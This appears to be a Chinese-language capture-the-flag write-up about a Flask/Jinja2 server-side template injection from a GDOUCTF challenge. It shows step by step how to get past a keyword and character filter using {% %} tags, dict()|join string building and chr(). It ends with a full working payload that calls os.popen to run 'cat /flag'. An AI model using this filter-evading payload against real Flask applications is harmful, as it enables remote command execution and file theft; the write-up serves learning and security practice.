flask ssti的新姿势


这个题是最新最热的GDOUCTF里面出的一个题<ez_ze>的姿势

偷偷来学一学:

打开靶机后看到的是一个post窗口,刚开始怀疑是sql注入,但是做着做着发现不对劲,应该不是sql,是ssti

随后我用dirsearch扫了,发现有个/console

进去就是flask的后台((

所以很明确就是flask了

can can 过滤

首先测试了{{7*7}}

回显是invalid input

将花括号去掉,显示7*7

再单独输入花括号回显invalid input

过滤了花括号

经过测试应该是绕过了至少:

{{` 、`"`、 `_`、`\`、`class`、`popen`、`.`、`[]`、`os` 但是很搞笑的事就是 我想要跑个fuzz字典来着,发现没有ssti的字典... {%asset_img 2.png bwb%} 反正这些都被过滤了,常见的一些绕过方式也没有办法(比如request.args,通过传参绕过下划线、用中括号替换点号、等等) 但是还是有绕过的方法的: # 绕过原理: `dict()|join`:python中的字典 将字典中的key值进行拼接 `{{set p1=dict(p=a)|join}}就是令p1=p

如果后面加|count变成dict()|join|count的话就是返回该字符串的长度:

{{set p1=dict(c=a)|join|count}} p1=1

通过这样的拼接可以获取到payload

花括号替换:{%%}

payload:

1
2
3
4
5
6
7
8
9
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}

先获取数字0-9(没有过滤数字,其实可以不用这么做)

1
{%set pop=dict(pop=a)|join%}

通过获取pop来获取下划线:(pop能够将索引值删除列的某个元素并将该元素返回)

1
(lipsum|string|list)

返回

其中便有下划线,通过pop删除第18(或者24)即可返回_

1
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
1
2
3
(lipsum|attr("__globals__").get("os").popen("cat /flag").read()
使用的原payload如上
所以我们需要获取__globals__

通过join拼接下划线和globals即可:

1
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}

获取get:

1
{%set get=dict(get=a)|join%}

获取os:

1
{%set shell=dict(o=a,s=b)|join%}

获取builtins:

1
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}

获取popen:

如果使用上面的拼接会报错:keyword repeated

这里可以使用+拼接:

1
2
3
4
5
6
{%set p1=dict(p=a)|join%}
{%set p2=dict(o=a)|join%}
{%set p3=dict(p=a)|join%}
{%set p4=dict(e=a)|join%}
{%set p5=dict(n=a)|join%}
{%set p6=p1%2bp2%2bp3%2bp4%2bp5%}

%2b即为加号

获取chr函数来获取flag:

1
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}

命令cat /flag

用chr() -> 字符即可

1
2
3
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}

#chr(99)+chr(97)+chr(116).... ->cat ...

获取read:

1
{%set read=dict(read=a)|join%}

总payload:

1
2
3
4
5
(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

->

{%print (lipsum|attr(globals))|attr(get)(shell)|attr(p6)(command)|attr(read)()%}

也就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set p1=dict(p=a)|join%}
{%set p2=dict(o=a)|join%}
{%set p3=dict(p=a)|join%}
{%set p4=dict(e=a)|join%}
{%set p5=dict(n=a)|join%}
{%set p6=p1%2bp2%2bp3%2bp4%2bp5%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(p6)(command)|attr(read)()%}

最后多打了个{%print read%} 所以上面显示多了一个read